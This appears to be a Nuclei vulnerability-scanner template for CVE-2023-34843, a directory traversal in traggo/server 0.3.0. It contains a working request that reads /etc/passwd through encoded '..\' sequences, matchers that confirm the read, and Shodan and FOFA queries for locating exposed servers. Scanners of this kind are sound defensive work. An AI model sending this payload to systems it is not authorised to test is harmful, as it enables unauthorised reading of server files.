id: CVE-2023-34843

info:
  name: Traggo Server - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    traggo/server version 0.3.0 is vulnerable to directory traversal.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/rootd4ddy/CVE-2023-34843
    - https://github.com/0x783kb/Security-operation-book
    - https://github.com/Imahian/CVE-2023-34843
    - https://github.com/hheeyywweellccoommee/CVE-2023-34843-illrj
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34843
    cwe-id: CWE-22
    epss-score: 0.00357
    epss-percentile: 0.72064
    cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: traggo
    product: traggo
    shodan-query:
      - html:"traggo"
      - http.html:"traggo"
    fofa-query: body="traggo"
  tags: cve2023,cve,traggo,lfi,server

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402204bc21ee81986e09368812890ef404c1dc59878574c0220a59139a8d780aa06550220103271f3e404909488ed77c4e99feb20ac493f30afb97b93f96d83322f553618:922c64590222798bb761d5b6d8e72950